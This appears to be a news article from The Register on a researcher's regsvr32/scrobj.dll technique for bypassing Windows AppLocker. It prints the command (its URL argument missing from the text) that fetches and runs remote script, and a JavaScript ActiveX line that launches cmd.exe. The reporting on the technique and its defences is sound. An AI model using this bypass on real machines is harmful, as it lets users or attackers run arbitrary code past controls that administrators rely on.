This article is more than 1 year old

Bypass the Windows AppLocker bouncer with a tweet-size command

How to go off script on office, school desktops

Video If you're relying on Microsoft's AppLocker to lock down your office or school Windows PCs, then you should check this out. A security researcher says he's found a way to potentially bypass the operating system's software whitelist and launch arbitrary scripts.

AppLocker lets IT admins managing large networks of machines define which applications and scripts users can and can't run and install. It was introduced in Windows 7, and the idea is to keep users on the straight and narrow: stop them from launching non-work-related programs, stop them from running malicious programs or malware-launching scripts, or stop them from running programs that will involve lots of support calls.

A security researcher called Casey Smith has found that AppLocker's script defenses can be potentially bypassed with a pretty simple command. Here's a sample command demonstrating the technique; it even fits neatly in a tweet, and verified using an El Reg Windows Enterprise system:

regsvr32 /s /n /u /i: scrobj.dll

Running this tells Windows to fetch an XML file from the internet, which tells it to run cmd.exe. The magic here is that if you change cmd.exe for any program outside the AppLocker whitelist, bingo: it will start, in theory. regsvr32 is part of the operating system and can be used to register and unregister COM script files with the Windows Registry. /s tells regsvr32 to be silent, /n tells it not to use DllRegisterServer, /i passes an optional parameter (our URL) to DLLinstall, /u means we're trying to unregister an object, and scrobj.dll is Microsoft's Script Component Runtime.

Smith found that if you give regsvr32 a URL to parse, it will actually fetch the file over HTTP or HTTPS, even via a configured proxy, and process it. By embedding some JavaScript in the fetched XML, and triggering its execution by requesting a .DLL unregistration, it's possible to run arbitrary scripts bypassing AppLocker and cause mischief. Any user can request this unregistration.

"It's not well documented that regsvr32.exe can accept a URL for a script," said Smith.

In the above case, the embedded JavaScript uses ActiveX:

var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");

Here's a video of the technique in action:

Youtube Video

It's a case of chaining together various components in the labyrinth of years-and-years-old code that is Microsoft Windows. JavaScript, Visual Basic and Powershell scripts can be run from the internet, or a local file, via regsvr32, according to Smith. He has produced a collection of proof-of-concept scripts for remote-code execution on Windows via regsvr32 – including the opening of backdoors on the machine.

Now, you have to be logged into the PC as a normal user or guest to pull off this trick, and all it does is get you past AppLocker. Usually, you need admin-rights to bypass the whitelist.

It's also possible that Windows 10's Device Guard running with Hyper-V and scripting protection fully switched on will block these attempts. In any case, if you're relying on AppLocker on your fleet of systems, you may want to try out Smith's code examples to see if your setup is vulnerable (before someone else does).

"It's built-in remote code execution without admin rights and which bypasses Windows whitelisting. I'd say it's pretty bad," said Alex Ionescu, a Windows and ARM kernel guru.

The trick – Smith didn't want to call it an exploit – is neat because it does not touch the Registry, does not need administrator rights, can be wrapped up in an encrypted HTTP session, and should leave no trace on disk as it's a pure to-memory download. No patch exists for this, although regsvr32 can be firewalled off from the internet. Microsoft was not available for immediate comment.

Infosec researcher Kenn White said: "This just made a lot of corporate penetration testers very, very happy." ®

More about

More about

More about


Send us news

Other stories you might like